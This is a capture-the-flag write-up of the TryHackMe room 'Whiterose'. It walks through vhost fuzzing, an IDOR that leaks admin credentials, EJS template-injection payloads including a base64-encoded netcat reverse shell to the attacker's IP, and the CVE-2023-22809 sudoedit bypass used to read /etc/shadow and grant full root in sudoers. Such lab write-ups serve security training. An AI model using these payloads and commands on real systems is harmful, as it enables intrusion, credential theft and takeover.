> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2024/whiterose.md).

# Whiterose

Yet another Mr. Robot themed challenge. - by ngn

{% embed url="<https://tryhackme.com/r/room/whiterose>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with an Nmap scan and find two open ports. On port 22 we have SSH and on port 80 we have an `ngix/1.14.0` web server.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fzm1S5Mv7RO2AsA9zk7Cs%2Fgrafik.png?alt=media&amp;token=328ba6b2-d861-4625-af8c-f7b1b4754cb7" alt=""><figcaption></figcaption></figure>

When visiting the index page of the web servers, we are redirected to `cyprusbank.thm`.  We add this to our `/etc/hosts` and reload the page.

```
whiterose.thm → cyprusbank.thm
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6KVPpLkXWiTJykH97wpw%2Fgrafik.png?alt=media&amp;token=5002a5af-ca5b-4067-a210-208d9fe5cc23" alt=""><figcaption></figcaption></figure>

After we have reloaded the page, we only see a static page without any functionality.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3dQWj1OFGmrND7u8xABg%2Fgrafik.png?alt=media&amp;token=7f094ecc-613d-4fa8-b3e6-60bb422319a3" alt=""><figcaption></figcaption></figure>

The directory scan did not reveal anything either.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNfF5Q5McZYgijRcDnw43%2Fgrafik.png?alt=media&amp;token=e84d4783-50d2-4a36-8ce7-3a408d57bdb5" alt=""><figcaption></figcaption></figure>

The vhost scan using FFuF had revealed two vhosts, `www` and `admin`. Where `admin` points to a new page that we do not yet know. We add these to our `/etc/hosts`.

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://cyprusbank.thm/ -H "Host:FUZZ.cyprusbank.thm" -fw 1
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4ZrIW6c4EpT6E3KgoHAc%2Fgrafik.png?alt=media&amp;token=35749018-8884-4246-bfb0-a6c6738a6f48" alt=""><figcaption></figcaption></figure>

The directory scan using Feroxbuster does not reveal any other endpoints that we do detect manually too.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzwUMcBgyRUPu900RL41Y%2Fgrafik.png?alt=media&amp;token=07a44b20-0bad-42a7-93ec-d7c3d4621cc2" alt=""><figcaption></figcaption></figure>

## Web Access Olivia Cortzez

The index page of `admin.cyprusbank.thm` redirects us to a login page. Credentials for this login are obtained from the room description.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FI2bedKNeeM8x87WtGPOK%2Fgrafik.png?alt=media&amp;token=49c97f18-0d4a-446a-b3be-8c4a153b007d" alt=""><figcaption></figcaption></figure>

We can log in as `Olivia Cortez`, but that user has only have limited permission. We cannot read all the data, and the `settings` endpoint is not available to us.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FURheQgA0f9tGh78BaSoR%2Fgrafik.png?alt=media&amp;token=6547a6a0-db7a-461f-aa19-d81a52d7a5b8" alt=""><figcaption></figcaption></figure>

## Web Access Gayle Bev

But we can take a look at the news history. This is set to `?c=5` during the visit. The parameter `c` can be checked for IDOR.

```
http://admin.cyprusbank.thm/messages/?c=5
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkKIhcZHA7XwA8kCcGKfT%2Fgrafik.png?alt=media&amp;token=b3e2da92-664c-4dc9-a338-47a2a0400132" alt=""><figcaption></figcaption></figure>

With the parameter value `0` we find the credentials of an admin user `Gayle Bev`.

```
http://admin.cyprusbank.thm/messages/?c=0
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fxv1jXUth2UFy6jQl7d5R%2Fgrafik.png?alt=media&amp;token=5aa9e5b5-5b7c-44ac-b8a5-d0f04331996e" alt=""><figcaption></figcaption></figure>

We use the found credentials to log in as `Gayle Bev` and are successful.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6mxaWR12hr7KHtmfbbUb%2Fgrafik.png?alt=media&amp;token=baa0e122-4f90-48f4-b51e-656a41a7e615" alt=""><figcaption></figcaption></figure>

We are now able to read the telephone numbers.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FibVUjq0PZ6aDHiLRcfH9%2Fgrafik.png?alt=media&amp;token=6305b6bd-7ba0-400b-a518-0ffc5a914391" alt=""><figcaption></figcaption></figure>

## Shell as web

As `Gayle Bev` we do have access to the settings endpoint. We can set the customer's passwords here. What is noticeable is that the passwords are reflected. This immediately draws attention to XSS or SSTI.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpHRsCLW2NiF1hEiSjfnt%2Fgrafik.png?alt=media&amp;token=dac8b389-f93b-426c-8712-e2451d527b52" alt=""><figcaption></figcaption></figure>

If we intercept a request and change it by omitting parameters such as the password, an error message appears. This tells us that ejs files are included.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5Hwo1c8IBL2DlFRda6tc%2Fgrafik.png?alt=media&amp;token=9b8ecb4e-cef4-486b-8071-cec15ee77279" alt=""><figcaption></figcaption></figure>

In our search for SSTI payloads, we'll find the following two sources if `ejs`is included:

{% embed url="<https://github.com/mde/ejs/issues/720>" %}

{% embed url="<https://eslam.io/posts/ejs-server-side-template-injection-rce/>" %}

We use the payload from the article and first try to call our web server to test whether it works.

{% code overflow="wrap" %}

```
%%1");process.mainModule.require('child_process').execSync('curl http://10.14.90.235');//
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZKBCndR1moKNmYyxRvzK%2Fgrafik.png?alt=media&amp;token=a6fa7177-c901-4caf-bd67-fb9c199c23e0" alt=""><figcaption></figcaption></figure>

We receive direct feedback. Great, we have an SSTI here that we can leverage to RCE.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSlKzKYGP3t7nivfiCU9d%2Fgrafik.png?alt=media&amp;token=ca15da83-385f-4935-8f73-6a88ce324ea9" alt=""><figcaption></figcaption></figure>

Next, we prepare a revshell. We use a simple bas64 encoded busybox reverse shell, generated with `revshells.com`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9eTepEWHYqh6y0iu47lz%2Fgrafik.png?alt=media&amp;token=95d76d11-b0dd-4c4e-a4a9-068d462b6116" alt=""><figcaption></figcaption></figure>

Next, we set up a listener and us the following payload to spawn a reverse shell.

{% code overflow="wrap" %}

```
name=a&passord=b&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('bash -c "echo YnVzeWJveCBuYyAxMC4xNC45MC4yMzUgNDQ0NSAtZSAvYmluL2Jhc2g= | base64 -d | bash"');//
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUweKXlO2RpLoNJ5394i9%2Fgrafik.png?alt=media&amp;token=2ffd46d4-640d-4b3f-b384-f15c1b6a2d1e" alt=""><figcaption></figcaption></figure>

We receive a connection back and are the user `web`. In the home directory of `web` we find the first flag. After we have received our reverse shell, we then upgrade it.&#x20;

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRlUcNN77Ry473mhEucjO%2Fgrafik.png?alt=media&amp;token=0706a521-8d3c-4c73-9d47-897775af5877" alt=""><figcaption></figcaption></figure>

## Shell as root

We see that we are allowed to run `sudoedit` as `root` without a password using sudo for the specific file `/etc/nginx/sites-available/admin.cyprusbank.thm`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpFjwiXhM9pun8RoYY0In%2Fgrafik.png?alt=media&amp;token=a6ca2ccd-7b19-4c15-a7a0-deb7c755cf8e" alt=""><figcaption></figcaption></figure>

After a short search, we find a bypass `CVE-2023-22809` for `sudoedit`. This is applicable to sudo up to version `1.9.12p1`. The vulnerability allows us to read and edit any files by specifying the EDITOR variable.

{% embed url="<https://www.vicarius.io/vsociety/posts/cve-2023-22809-sudoedit-bypass-analysis>" %}

We see that we have installed a vulnerable version of `sudo`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRktQfIWBIIRrZ9M3oEyZ%2Fgrafik.png?alt=media&amp;token=ae70b0c5-1c31-467b-85ee-99ad829f95da" alt=""><figcaption></figcaption></figure>

With `export EDITOR="vi -- /etc/shadow"` we attempt to make `vi` open `/etc/shadow` directly when `sudoedit` is used.

```
export EDITOR="vi -- /etc/shadow"
sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDYCmaf2Q7uwVyYO5LThZ%2Fgrafik.png?alt=media&amp;token=7ee20776-2712-483b-912e-b6bd23ad4510" alt=""><figcaption></figcaption></figure>

And we are able to read `/etc/shadows`.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPzaZe0kwt6z7MIFDdfDQ%2Fgrafik.png?alt=media&amp;token=72e89cdb-4393-4e3b-a9bb-438e069c2fb6" alt=""><figcaption></figcaption></figure>

Next, we try that with the root flag and are able to read it.

```
export EDITOR="vi -- /root/root.txt"
sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwELfM576UhDn1jDtVMd7%2Fgrafik.png?alt=media&amp;token=fd523f43-dd14-4bbb-8f24-e96d74c687f2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDZUcRC1S65RXioif0Qnu%2Fgrafik.png?alt=media&amp;token=b011d16e-117d-4401-9abd-7365e9544aee" alt=""><figcaption></figcaption></figure>

To escalate our privileges to root, we attempt to edit the `/etc/sudoers` file.

```
export EDITOR="vi -- /etc/sudoers"
sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
```

Here we target the line with the command allowing us to execute that specifies the sudoedit command:

```
web ALL=(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
```

and replace it with the following:

```
web ALL=(root) NOPASSWD: ALL
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnXepe2tscoIi34td0GTj%2Fgrafik.png?alt=media&amp;token=c5e05898-7b0d-40e1-a692-cdc0cd08acd8" alt=""><figcaption></figcaption></figure>

Now we are able to execute any command as root without providing a password and use that to switch to the `root` user. As `root` we find the final flag at `/root/root.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeFJPvtOjxa6YgmsetHbR%2Fgrafik.png?alt=media&amp;token=77a60413-0b1f-4aa9-83da-81336fee849f" alt=""><figcaption></figcaption></figure>
